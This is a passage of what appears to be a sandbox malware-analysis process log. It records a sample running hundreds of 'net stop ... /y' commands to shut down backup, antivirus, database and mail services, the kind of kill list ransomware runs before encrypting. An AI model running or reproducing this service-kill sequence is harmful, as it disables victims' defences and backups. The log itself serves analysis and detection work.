C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecJobEngine /y4⤵PID:3964
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop BackupExecManagementService /y2⤵PID:3000
-
C:\Windows\SysWOW64\net.exenet stop BackupExecManagementService /y3⤵PID:3996
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecManagementService /y4⤵PID:4088
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop BackupExecRPCService /y2⤵PID:3168
-
C:\Windows\SysWOW64\net.exenet stop BackupExecRPCService /y3⤵PID:3200
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecRPCService /y4⤵PID:2240
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop BackupExecVSSProvider /y2⤵PID:2880
-
C:\Windows\SysWOW64\net.exenet stop BackupExecVSSProvider /y3⤵PID:848
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecVSSProvider /y4⤵PID:3832
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop bedbg /y2⤵PID:852
-
C:\Windows\SysWOW64\net.exenet stop bedbg /y3⤵PID:636
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop bedbg /y4⤵PID:1572
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop DCAgent /y2⤵PID:1168
-
C:\Windows\SysWOW64\net.exenet stop DCAgent /y3⤵PID:1056
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop DCAgent /y4⤵PID:1564
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop EPSecurityService /y2⤵PID:1140
-
C:\Windows\SysWOW64\net.exenet stop EPSecurityService /y3⤵PID:1144
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop EPSecurityService /y4⤵PID:904
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop EPUpdateService /y2⤵PID:1680
-
C:\Windows\SysWOW64\net.exenet stop EPUpdateService /y3⤵PID:2364
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop EPUpdateService /y4⤵PID:1920
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop EraserSvc11710 /y2⤵PID:1648
-
C:\Windows\SysWOW64\net.exenet stop EraserSvc11710 /y3⤵PID:2772
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop EraserSvc11710 /y4⤵PID:2340
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop EsgShKernel /y2⤵PID:2416
-
C:\Windows\SysWOW64\net.exenet stop EsgShKernel /y3⤵PID:2688
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop EsgShKernel /y4⤵PID:2764
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop FA_Scheduler /y2⤵PID:2472
-
C:\Windows\SysWOW64\net.exenet stop FA_Scheduler /y3⤵PID:3956
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop FA_Scheduler /y4⤵PID:2232
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop IISAdmin /y2⤵PID:3972
-
C:\Windows\SysWOW64\net.exenet stop IISAdmin /y3⤵PID:4020
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop IISAdmin /y4⤵PID:3740
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop IMAP4Svc /y2⤵PID:3768
-
C:\Windows\SysWOW64\net.exenet stop IMAP4Svc /y3⤵PID:2872
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop IMAP4Svc /y4⤵PID:64
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop McShield /y2⤵PID:4068
-
C:\Windows\SysWOW64\net.exenet stop McShield /y3⤵PID:3928
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop McShield /y4⤵PID:3172
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop McTaskManager /y2⤵PID:2204
-
C:\Windows\SysWOW64\net.exenet stop McTaskManager /y3⤵PID:3684
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop McTaskManager /y4⤵PID:796
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop mfemms /y2⤵PID:664
-
C:\Windows\SysWOW64\net.exenet stop mfemms /y3⤵PID:988
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mfemms /y4⤵PID:1320
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop mfevtp /y2⤵PID:1212
-
C:\Windows\SysWOW64\net.exenet stop mfevtp /y3⤵PID:564
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mfevtp /y4⤵PID:1812
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MMS /y2⤵PID:3852
-
C:\Windows\SysWOW64\net.exenet stop MMS /y3⤵PID:508
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MMS /y4⤵PID:1136
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop mozyprobackup /y2⤵PID:1216
-
C:\Windows\SysWOW64\net.exenet stop mozyprobackup /y3⤵PID:2460
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mozyprobackup /y4⤵PID:2060
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MsDtsServer /y2⤵PID:1808
-
C:\Windows\SysWOW64\net.exenet stop MsDtsServer /y3⤵PID:2512
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MsDtsServer /y4⤵PID:2776
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MsDtsServer100 /y2⤵PID:2340
-
C:\Windows\SysWOW64\net.exenet stop MsDtsServer100 /y3⤵PID:1792
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MsDtsServer100 /y4⤵PID:2184
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MsDtsServer110 /y2⤵PID:2768
-
C:\Windows\SysWOW64\net.exenet stop MsDtsServer110 /y3⤵PID:2412
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MsDtsServer110 /y4⤵PID:1688
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSExchangeES /y2⤵PID:492
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeES /y3⤵PID:2708
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeES /y4⤵PID:4012
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSExchangeIS /y2⤵PID:3984
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeIS /y3⤵PID:3972
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeIS /y4⤵PID:4020
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSExchangeMGMT /y2⤵PID:4040
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeMGMT /y3⤵PID:3768
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeMGMT /y4⤵PID:1836
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSExchangeMTA /y2⤵PID:3264
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeMTA /y3⤵PID:4068
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeMTA /y4⤵PID:736
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSExchangeSA /y2⤵PID:800
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeSA /y3⤵PID:2204
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeSA /y4⤵PID:1016
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSExchangeSRS /y2⤵PID:416
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeSRS /y3⤵PID:756
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeSRS /y4⤵PID:848
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSOLAP$SQL_2008 /y2⤵PID:1304
-
C:\Windows\SysWOW64\net.exenet stop MSOLAP$SQL_2008 /y3⤵PID:576
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSOLAP$SQL_2008 /y4⤵PID:636
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSOLAP$SYSTEM_BGC /y2⤵PID:2012
-
C:\Windows\SysWOW64\net.exenet stop MSOLAP$SYSTEM_BGC /y3⤵PID:3852
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSOLAP$SYSTEM_BGC /y4⤵PID:1160
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSOLAP$TPS /y2⤵PID:1924
-
C:\Windows\SysWOW64\net.exenet stop MSOLAP$TPS /y3⤵PID:1216
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSOLAP$TPS /y4⤵PID:2364
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSOLAP$TPSAMA /y2⤵PID:2180
-
C:\Windows\SysWOW64\net.exenet stop MSOLAP$TPSAMA /y3⤵PID:1816
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSOLAP$TPSAMA /y4⤵PID:2452
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$BKUPEXEC /y2⤵PID:4016
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$BKUPEXEC /y3⤵PID:4024
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$BKUPEXEC /y4⤵PID:2672
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$ECWDB2 /y2⤵PID:2740
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$ECWDB2 /y3⤵PID:2764
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$ECWDB2 /y4⤵PID:4072
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$PRACTICEMGT /y2⤵PID:3980
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$PRACTICEMGT /y3⤵PID:2232
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$PRACTICEMGT /y4⤵PID:3152
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$PRACTTICEBGC /y2⤵PID:2248
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$PRACTTICEBGC /y3⤵PID:3984
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$PRACTTICEBGC /y4⤵PID:4020
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$PROFXENGAGEMENT /y2⤵PID:64
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$PROFXENGAGEMENT /y3⤵PID:4028
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$PROFXENGAGEMENT /y4⤵PID:3692
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$SBSMONITORING /y2⤵PID:3172
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$SBSMONITORING /y3⤵PID:2888
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$SBSMONITORING /y4⤵PID:1684
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$SHAREPOINT /y2⤵PID:796
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$SHAREPOINT /y3⤵PID:3168
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$SHAREPOINT /y4⤵PID:1016
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$SQL_2008 /y2⤵PID:1800
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$SQL_2008 /y3⤵PID:1320
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$SQL_2008 /y4⤵PID:1052
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$SYSTEM_BGC /y2⤵PID:3960
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$SYSTEM_BGC /y3⤵PID:1304
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$SYSTEM_BGC /y4⤵PID:1820
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$TPS /y2⤵PID:1136
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$TPS /y3⤵PID:3836
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$TPS /y4⤵PID:904
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$TPSAMA /y2⤵PID:1228
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$TPSAMA /y3⤵PID:2460
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$TPSAMA /y4⤵PID:2364
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$VEEAMSQL2008R2 /y2⤵PID:2452
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$VEEAMSQL2008R2 /y3⤵PID:2180
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$VEEAMSQL2008R2 /y4⤵PID:2792
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQL$VEEAMSQL2012 /y2⤵PID:2796
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$VEEAMSQL2012 /y3⤵PID:1792
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$VEEAMSQL2012 /y4⤵PID:2672
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQLFDLauncher /y2⤵PID:3828
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher /y3⤵PID:1688
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher /y4⤵PID:3844
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQLFDLauncher$PROFXENGAGEMENT /y2⤵PID:4000
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher$PROFXENGAGEMENT /y3⤵PID:2708
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher$PROFXENGAGEMENT /y4⤵PID:4060
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQLFDLauncher$SBSMONITORING /y2⤵PID:3952
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher$SBSMONITORING /y3⤵PID:3516
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher$SBSMONITORING /y4⤵PID:3924
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQLFDLauncher$SHAREPOINT /y2⤵PID:3692
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher$SHAREPOINT /y3⤵PID:64
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher$SHAREPOINT /y4⤵PID:3992
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQLFDLauncher$SQL_2008 /y2⤵PID:1684
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher$SQL_2008 /y3⤵PID:3172
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher$SQL_2008 /y4⤵PID:1864
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQLFDLauncher$SYSTEM_BGC /y2⤵PID:1016
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher$SYSTEM_BGC /y3⤵PID:796
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher$SYSTEM_BGC /y4⤵PID:3400
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQLFDLauncher$TPS /y2⤵PID:2884
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher$TPS /y3⤵PID:756
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher$TPS /y4⤵PID:1052
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQLFDLauncher$TPSAMA /y2⤵PID:1820
-
C:\Windows\SysWOW64\net.exenet stop MSSQLFDLauncher$TPSAMA /y3⤵PID:3960
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher$TPSAMA /y4⤵PID:856
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQLSERVER /y2⤵PID:1120
-
C:\Windows\SysWOW64\net.exenet stop MSSQLSERVER /y3⤵PID:1136
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLSERVER /y4⤵PID:904
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQLServerADHelper100 /y2⤵PID:2508
-
C:\Windows\SysWOW64\net.exenet stop MSSQLServerADHelper100 /y3⤵PID:1228
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLServerADHelper100 /y4⤵PID:1140
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MSSQLServerOLAPService /y2⤵PID:3848
-
C:\Windows\SysWOW64\net.exenet stop MSSQLServerOLAPService /y3⤵PID:2660
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLServerOLAPService /y4⤵PID:3052
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop MySQL57 /y2⤵PID:3136
-
C:\Windows\SysWOW64\net.exenet stop MySQL57 /y3⤵PID:2772
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MySQL57 /y4⤵PID:2340
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop ntrtscan /y2⤵PID:4036
-
C:\Windows\SysWOW64\net.exenet stop ntrtscan /y3⤵PID:3828
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ntrtscan /y4⤵PID:3844
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop OracleClientCache80 /y2⤵PID:3676
-
C:\Windows\SysWOW64\net.exenet stop OracleClientCache80 /y3⤵PID:4000
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop OracleClientCache80 /y4⤵PID:4060
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop PDVFSService /y2⤵PID:632
-
C:\Windows\SysWOW64\net.exenet stop PDVFSService /y3⤵PID:3952
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop PDVFSService /y4⤵PID:4040
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop POP3Svc /y2⤵PID:2652
-
C:\Windows\SysWOW64\net.exenet stop POP3Svc /y3⤵PID:2872
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop POP3Svc /y4⤵PID:3188
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop ReportServer /y2⤵PID:1420
-
C:\Windows\SysWOW64\net.exenet stop ReportServer /y3⤵PID:1684
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ReportServer /y4⤵PID:1864
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop ReportServer$SQL_2008 /y2⤵PID:680
-
C:\Windows\SysWOW64\net.exenet stop ReportServer$SQL_2008 /y3⤵PID:1016
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ReportServer$SQL_2008 /y4⤵PID:1320
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop ReportServer$SYSTEM_BGC /y2⤵PID:1920
-
C:\Windows\SysWOW64\net.exenet stop ReportServer$SYSTEM_BGC /y3⤵PID:988
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ReportServer$SYSTEM_BGC /y4⤵PID:416
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop ReportServer$TPS /y2⤵PID:2060
-
C:\Windows\SysWOW64\net.exenet stop ReportServer$TPS /y3⤵PID:1820
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ReportServer$TPS /y4⤵PID:2012
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop ReportServer$TPSAMA /y2⤵PID:1996
-
C:\Windows\SysWOW64\net.exenet stop ReportServer$TPSAMA /y3⤵PID:1120
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ReportServer$TPSAMA /y4⤵PID:1892
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop RESvc /y2⤵PID:1808
-
C:\Windows\SysWOW64\net.exenet stop RESvc /y3⤵PID:2508
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop RESvc /y4⤵PID:3036
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop sacsvr /y2⤵PID:4024
-
C:\Windows\SysWOW64\net.exenet stop sacsvr /y3⤵PID:2792
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop sacsvr /y4⤵PID:2144
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SamSs /y2⤵PID:2764
-
C:\Windows\SysWOW64\net.exenet stop SamSs /y3⤵PID:2672
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SamSs /y4⤵PID:1648
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SAVAdminService /y2⤵PID:2232
-
C:\Windows\SysWOW64\net.exenet stop SAVAdminService /y3⤵PID:4072
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SAVAdminService /y4⤵PID:4004
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SAVService /y2⤵PID:3984
-
C:\Windows\SysWOW64\net.exenet stop SAVService /y3⤵PID:3152
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SAVService /y4⤵PID:3528
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SDRSVC /y2⤵PID:3924
-
C:\Windows\SysWOW64\net.exenet stop SDRSVC /y3⤵PID:632
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SDRSVC /y4⤵PID:3952
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SepMasterService /y2⤵PID:3264
-
C:\Windows\SysWOW64\net.exenet stop SepMasterService /y3⤵PID:3992
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SepMasterService /y4⤵PID:760
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop ShMonitor /y2⤵PID:3684
-
C:\Windows\SysWOW64\net.exenet stop ShMonitor /y3⤵PID:3996
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ShMonitor /y4⤵PID:3736
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop Smcinst /y2⤵PID:3400
-
C:\Windows\SysWOW64\net.exenet stop Smcinst /y3⤵PID:1824
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Smcinst /y4⤵PID:3168
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SmcService /y2⤵PID:564
-
C:\Windows\SysWOW64\net.exenet stop SmcService /y3⤵PID:1052
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SmcService /y4⤵PID:1212
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SMTPSvc /y2⤵PID:856
-
C:\Windows\SysWOW64\net.exenet stop SMTPSvc /y3⤵PID:2060
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SMTPSvc /y4⤵PID:3852
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$BKUPEXEC /y2⤵PID:904
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$BKUPEXEC /y3⤵PID:1056
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$BKUPEXEC /y4⤵PID:3808
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$ECWDB2 /y2⤵PID:1140
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$ECWDB2 /y3⤵PID:1808
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$ECWDB2 /y4⤵PID:1680
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$PRACTTICEBGC /y2⤵PID:2416
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$PRACTTICEBGC /y3⤵PID:3052
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$PRACTTICEBGC /y4⤵PID:1816
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$PRACTTICEMGT /y2⤵PID:2412
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$PRACTTICEMGT /y3⤵PID:2764
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$PRACTTICEMGT /y4⤵PID:2804
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$PROFXENGAGEMENT /y2⤵PID:2472
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$PROFXENGAGEMENT /y3⤵PID:2232
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$PROFXENGAGEMENT /y4⤵PID:4072
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$SBSMONITORING /y2⤵PID:3972
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$SBSMONITORING /y3⤵PID:3984
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$SBSMONITORING /y4⤵PID:3740
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$SHAREPOINT /y2⤵PID:1852
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$SHAREPOINT /y3⤵PID:3924
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$SHAREPOINT /y4⤵PID:3700
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$SQL_2008 /y2⤵PID:4068
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$SQL_2008 /y3⤵PID:3264
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$SQL_2008 /y4⤵PID:3860
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$SYSTEM_BGC /y2⤵PID:2140
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$SYSTEM_BGC /y3⤵PID:1864
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$SYSTEM_BGC /y4⤵PID:2576
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$TPS /y2⤵PID:2876
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$TPS /y3⤵PID:728
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$TPS /y4⤵PID:1000
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$TPSAMA /y2⤵PID:2880
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$TPSAMA /y3⤵PID:1800
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$TPSAMA /y4⤵PID:988
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$VEEAMSQL2008R2 /y2⤵PID:1212
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$VEEAMSQL2008R2 /y3⤵PID:1888
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2008R2 /y4⤵PID:1820
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLAgent$VEEAMSQL2012 /y2⤵PID:2060
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$VEEAMSQL2012 /y3⤵PID:1056
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2012 /y4⤵PID:904
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLBrowser /y2⤵PID:1924
-
C:\Windows\SysWOW64\net.exenet stop SQLBrowser /y3⤵PID:1808
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLBrowser /y4⤵PID:1140
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLSafeOLRService /y2⤵PID:2180
-
C:\Windows\SysWOW64\net.exenet stop SQLSafeOLRService /y3⤵PID:2332
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLSafeOLRService /y4⤵PID:2792
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLSERVERAGENT /y2⤵PID:1816
-
C:\Windows\SysWOW64\net.exenet stop SQLSERVERAGENT /y3⤵PID:2764
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLSERVERAGENT /y4⤵PID:2412
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLTELEMETRY /y2⤵PID:2664
-
C:\Windows\SysWOW64\net.exenet stop SQLTELEMETRY /y3⤵PID:3844
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLTELEMETRY /y4⤵PID:2688
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLTELEMETRY$ECWDB2 /y2⤵PID:3676
-
C:\Windows\SysWOW64\net.exenet stop SQLTELEMETRY$ECWDB2 /y3⤵PID:4060
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLTELEMETRY$ECWDB2 /y4⤵PID:3956
-
C:\Windows\SysWOW64\cmd.execmd.exe /c net stop SQLWriter /y2⤵PID:2248
-
